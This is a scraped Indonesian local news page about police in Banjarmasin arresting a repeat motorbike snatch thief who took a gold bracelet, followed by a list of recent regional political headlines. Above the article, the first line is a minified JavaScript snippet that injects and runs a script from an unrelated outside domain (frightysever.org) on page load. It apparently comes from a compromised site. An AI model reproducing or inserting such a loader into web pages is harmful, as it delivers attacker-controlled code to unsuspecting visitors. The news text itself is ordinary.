(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kriminal Banjarmasin

Residivis Jambret di Banjarmasin Diringkus Usai Gondol Gelang Emas


KANALKALIMANTAN.COM, BANJARMASIN – Seorang residivis jambret di Jalan Kuin Selatan berhasil diringkus Polsek Banjarmasin Barat usai melancarkan aksi pencurian gelang emas rantai seberat 15 gram.

Pelaku diketahui seorang wiraswasta, berinisial A (38) warga Jalan Kelayan A Gang 13, Kelurahan Kelayan Dalam, Kecamatan Banjarmasin Selatan.

Ia melancarkan aksinya menggunakan sepeda motor dengan memepet seorang korban bernama Norjanah, warga Kelurahan Semangat Dalam, Kecamatan Alalak, Batola.

Kapolsek Banjarmasin Barat, Kompol Faizal Rahman melalui Kanit Reskrim Iptu Firuza Bahri mengungkap, pelaku residivis berhasil diciduk polisi di Jalan Kuin Selatan dan segera digiring ke Mapolsek Banjarmasin Barat pada Jum’at 3 Februari 2023 lalu.

 

Baca juga: Siswa SMPN 6 Banjarmasin Dapat Penyuluhan Hukum tentang Kekerasan Seksual

“Setelah mengalami penjambretan, korban langsung melapor dan kita tindaklanjuti untuk pengejaran pelaku yang merupakan residivis jambret di Kota Banjarmasin,” ungkap Kapolsek Banjarmasin Barat, Kompol Faizal Rahman melalui Kanit Reskrim Iptu Firuza Bahri, Rabu (8/2/2023).

Atas kejadian tersebut, korba Norjanah mengalami kerugian sebesar Rp 13.500.000. Serta mengalami luka lecet pada lutut kaki dan luka gores di pergelangan tangan kanannya.

Kronologis peristiwa penjambretan, papar Kanit Reskrim, terjadi pada hari Jum’at (3/2/2023), sekira pukul 10.00 Wita.

“Menurut keterangan korban saat itu  sedang mengendarai kendaraan roda dua bersama temannya dari arah Jalan HKSN menuju Jalan Kuin Selatan,” jelasnya.

Namun, setelah sampai di Jalan Kuin Selatan, korban dipepet oleh seorang pengendara motor yang langsung menarik gelang emas rantai di tangan kanan korban.

Baca juga: Baramarta Disebut Selalu Merugi, Massa Unjuk Rasa Minta Dibubarkan

“Pelaku langsung kabur dan berhasil menjambret gelang emas rantai seberat 15 gram milik korban,” pungkasnya.

Atas perbuatannya, pelaku diganjar dengan pasal 365 KUHP tentang pencurian dengan kekerasan atau jambret. (kanalkalimantan.com/wanda)

Reporter: wanda
Editor: cell


Risa

Recent Posts

5 Nama Pendaftar Bacalon Pilwali Banjarbaru ke PDIP

KANALKALIMANTAN.COM, BANJARBARU - Lima buah formulir pendaftaran diambil oleh lima orang bakal calon Pilkada 2024… Read More

60 menit ago

Acil Odah Resmi Lamar Golkar Maju Pilgub Kalsel 2024

KANALKALIMANTAN.COM, BANJARMASIN - Langkah Hj Raudatul Jannah alias Acil Odah untuk maju pada kontestasi Pemilihan… Read More

1 jam ago

Golkar Banjarbaru Buka Penjaringan Bakal Calon Wali Kota

KANALKALIMANTAN.COM, BANJARBARU - DPD Partai Golkar Kota Banjarbaru membuka pendaftaran bakal calon Wali Kota dan… Read More

2 jam ago

Soal Pungutan Acara Perpisahan Siswa, Ini Kata Ketua DPRD Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Dewan Perwakilan Rakyat Daerah (DPRD) Kota Banjarbaru menyikapi persoalan iuran kegiatan acara… Read More

5 jam ago

Pungutan Acara Perpisahaan Siswa, Begini Respon Wali Kota Aditya

KANALKALIMANTAN.COM, BANJARBARU – Menyikapi pungutan acara perpisahan siswa sekolah di Banjarbaru, Wali Kota Banjarbaru Aditya… Read More

6 jam ago

Orangtua Pusing, ‘Bermewah-mewahan’ Perpisahan Anak Sekolah di Banjarbaru

Kadisdik: Silakan Perpisahan di Sekolah dan Dilakukan dengan Sederhana Read More

17 jam ago

This website uses cookies.